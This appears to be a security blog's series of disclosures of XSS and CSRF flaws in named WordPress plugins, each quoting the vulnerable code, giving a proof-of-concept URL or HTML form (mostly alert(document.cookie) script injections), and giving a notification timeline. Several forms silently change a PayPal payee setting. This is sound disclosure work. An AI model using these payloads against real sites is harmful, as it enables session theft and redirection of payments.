22 Jun

Reflected Cross-Site Scripting (XSS) Vulnerability in Product Catalog

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. In doing one of the preliminary checks we immediately came across a reflected cross-site scripting (XSS) vulnerability that exists in the plugin Product Catalog that has existed since its first version was released nearly four years ago.

Contrary the scaremongering we have seen from other web security companies this type of vulnerability isn’t a major concern as we don’t see hackers trying to exploit it on a large scale and all major web browsers other than Firefox have filtering that would need to be evaded to make it work. At the same this type of vulnerability shouldn’t be remaining in a plugin that long as it involves a failure of security at a fairly basic level and in the form it was here, easy to detect.

The vulnerability occurs in the file /html/CatalogueDetails.php on line 44:

<form id="nav-menu-meta" action="admin.php?page=UPCP-options&Action=UPCP_Catalogue_Details&Selected=Catalogue&Catalogue_ID=<?php echo $_GET['Catalogue_ID']; ?>#Catalogues" class="nav-menu-meta" method="post" enctype="multipart/form-data">

The value of GET input “Catalogue_ID” is output without being escaped, which could permit malicious JavaScript on to the page.

We notified the developer of the issue a week ago, we haven’t heard back from them and while the plugins has been updated since then, the vulnerability hasn’t been fixed.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=UPCP-options&Action=UPCP_Catalogue_Details&Selected=Catalogue&Catalogue_ID=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Timeline

  • June 15, 2017 – Developer notified.
22 Jun

Reflected Cross-Site Scripting (XSS) Vulnerability in uCare

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. During that preliminary checking we found that the plugin uCare contains a reflected cross-site scripting (XSS) vulnerability.

The vulnerability is an example of where one of things we check for during our security reviews of WordPress plugins selected by our customers, making sure that code is included to restrict direct access to .php files that are not intended to accessed, can be useful.

When deactivating the plugin and choosing to provide feedback the file /emails/product-feedback.php in included to generate the feedback message. That file can be accessed directly.

When accessed as intended the use of output buffering causes the content output by the file to not be displayed in the web browser. But when accessed directly that doesn’t occur and several post inputs are output without being escaped. As an example, on line 6 the POST input “reason” is output:

<p style="margin-left: 20px"><?php echo $_POST['reason']; ?></p>

That could be used to cause malicious JavaScript code to output on to the page.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/ucare-support-system/emails/product-feedback.php" method="POST">
<input type="hidden" name="reason" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 15, 2017 – Developer notified.
19 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader

Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.

The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.

As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):

74
75
76
77
78
79
80
81
// CREATE action
} elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) {
	$name = $_POST[ 'mfr_new_feedcollection_name' ];
	$existing = FeedCollection::find_one_by_name( $name );
 
	if ( ! $existing ) {
		$fc = new FeedCollection();
		$fc-&gt;name = $name;

The name is output without being escaped in a number of locations including line 393 of the same file:

<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">

We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST">
<input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 12, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Easy PayPal Gift Certificate

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the Easy PayPal Gift Certificate plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

273
274
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

278
$options['liveaccount'] = $_POST['liveaccount'];
296
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

304
305
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=hugeit_forms_custom_scripts, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=paypal-gift-certificate-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Shopping Cart

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Shopping Cart plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

269
270
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

274
$options['liveaccount'] = $_POST['liveaccount'];
286
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

294
295
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=easy-paypal-shopping-cart, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-shopping-cart" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in PayPal Digital Downloads

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Digital Downloads plugin contains the same vulnerability.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal-digital-downloads.php):

254
255
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal API Username that payments go to, to be changed to test, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-digital-download" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="api_username" value="test" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in Contact Form 7 – PayPal Add-on

After noticing a number of vulnerabilities in a couple of plugins that work with the plugin Contact Form 7 we started looking over other plugins that work with it. In doing that we found that the plugin Contact Form 7 – PayPal Add-on has a cross-site request forgery (CSRF) vulnerability in its code to save the plugin’s settings, which could be used to change the PayPal account that payments through the plugin are sent.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal.php):

356
357
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal account that payments go to, to be changed to test@example.com, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=cf7pp_admin_table" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="test@example.com" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Responsive Menu

Recently we found that the plugin Responsive Menu had a cross-site request forgery (CSRF)/cross-site site scripting (XSS) vulnerability.

The CSRF portion of the vulnerability was due to a lack of a nonce on the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s options.

For the XSS portion, in the file /app/Controllers/AdminController.php the function updateOptions() saves the options and no sanitization is done:

22
23
24
25
26
27
28
public function updateOptions(array $options) {
	$updated_options = $this->combineOptions($options);
	foreach($updated_options as $name => $val):
		$val = is_array($val) ? json_encode($val) : $val;
		$val = stripslashes($val);
		$updated_options[$name] = $val;
		$this->db->update('responsive_menu', ['value' => $val], ['name' => $name]);

Then, for example, the option “menu_to_hide” item is configured to be output through the file /css/app.css.twig without being escaped:

{% if options.menu_to_hide %}
	{{ options.menu_to_hide }} {

After we contacted the developer they released version 3.1.4, which fixes the vulnerability by fixing the CSRF portion of it by adding a nonce and a check to insure that a valid nonce is included when saving the plugin’s settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the frontend of the website, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=responsive-menu" method="POST">
<input type="hidden" name="menu[menu_to_hide]" value="</style><script>alert(document.cookie);</script>">
<input type="submit" name="responsive-menu-submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 22, 2017 – Developer notified.
  • May 22, 2017 – Developer responds.
  • June 10, 2017 – Version 3.1.4 released, which fixes vulnerability.
09 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Skype Legacy Buttons

One of the ways that we are able to provide wider coverage of WordPress plugin vulnerabilities than you can find elsewhere is that we do extensive monitoring of various places where information on vulnerabilities comes up. One of those is the Support Forum on wordpress.org, through that we ran across a odd statement in response to a review of the plugin Skype Legacy Buttons:

Please note that the Chrome browser will throw an error ERR_BLOCKED_BY_XSS_AUDITOR when submitting an email address as Skype ID. This will look scary but just refresh the page and you’ll see the settings have updated correctly.

That error isn’t caused by the issue they are claiming, but when we went to take a look at the plugin we found a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

For the CSRF portion the plugin actually included multiple nonces with the request to save the settings (it isn’t clear why there is more than one):

<?php wp_nonce_field('skype_status_options-metaboxes-general'); ?>
<?php wp_nonce_field('closedpostboxes','closedpostboxesnonce',false) ?>
<?php wp_nonce_field('meta-box-order','meta-box-order-nonce',false) ?>

The problem is that when saving the settings there is no check to make sure that a valid nonce is included, so those nonces have no impact.

One the settings on the page is intended to contain HTML code and preview of it is shown on the setting’s page, so that can be used to cause XSS when combined with the CSRF vulnerability.

We notified the developer of the issue over a week ago, but we haven’t heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=skype-status.php, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=skype-status.php" method="POST">
<input type="hidden" name="skype_status_update" value="Save Changes">
<input type="hidden" name="button_theme" value="custom_edit">
<input type="hidden" name="button_template" value="</textarea><script>alert(document.cookie);</script>">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

June 1, 2017 – Developer notified.